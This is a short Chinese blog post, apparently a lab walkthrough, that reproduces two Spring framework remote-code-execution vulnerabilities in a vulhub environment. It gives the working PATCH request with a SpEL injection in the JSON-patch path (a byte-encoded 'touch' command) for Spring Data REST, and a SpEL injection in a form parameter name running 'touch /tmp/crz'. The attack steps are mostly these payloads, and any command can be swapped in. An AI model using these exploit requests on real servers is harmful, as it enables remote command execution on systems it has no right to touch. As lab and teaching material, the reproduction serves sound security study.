常见框架漏洞—Spring

一.Spring Data Rest 远程命令执⾏命令

1.搭建环境

2.访问网站下的/customers/1

3.对当前页面进行抓包,修改提交方式为PATCH,内容类型为application/json-patch+json

{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte\[\]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,101}))/lastname", "value": "vulhub" }

4.发现容器目录中有了succese

二.Spring代码执行

1.环境搭建

2.访问网站下的users目录

3.提交页面进行抓包,添加poc:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/crz")]=&password=&repeatedPassword=

4.查看终端,发现成功写入

相关推荐
凯子坚持 c12 小时前
Qt常用控件指南(8)
开发语言·数据库·qt
昊坤说不出的梦12 小时前
【实战】监控上下文切换及其优化方案
java·后端
春生野草12 小时前
Redis
数据库·redis·缓存
weixin_4997715512 小时前
Python上下文管理器(with语句)的原理与实践
jvm·数据库·python
weixin_4521595512 小时前
高级爬虫技巧:处理JavaScript渲染(Selenium)
jvm·数据库·python
策知道12 小时前
依托政府工作报告准备省考【经验贴】
大数据·数据库·人工智能·搜索引擎·政务
Z...........12 小时前
MYSQL进阶查询
数据库·mysql
今天_也很困13 小时前
LeetCode热题100-560. 和为 K 的子数组
java·算法·leetcode
在繁华处13 小时前
线程进阶: 无人机自动防空平台开发教程V2
java·无人机
A懿轩A13 小时前
【Java 基础编程】Java 变量与八大基本数据类型详解:从声明到类型转换,零基础也能看懂
java·开发语言·python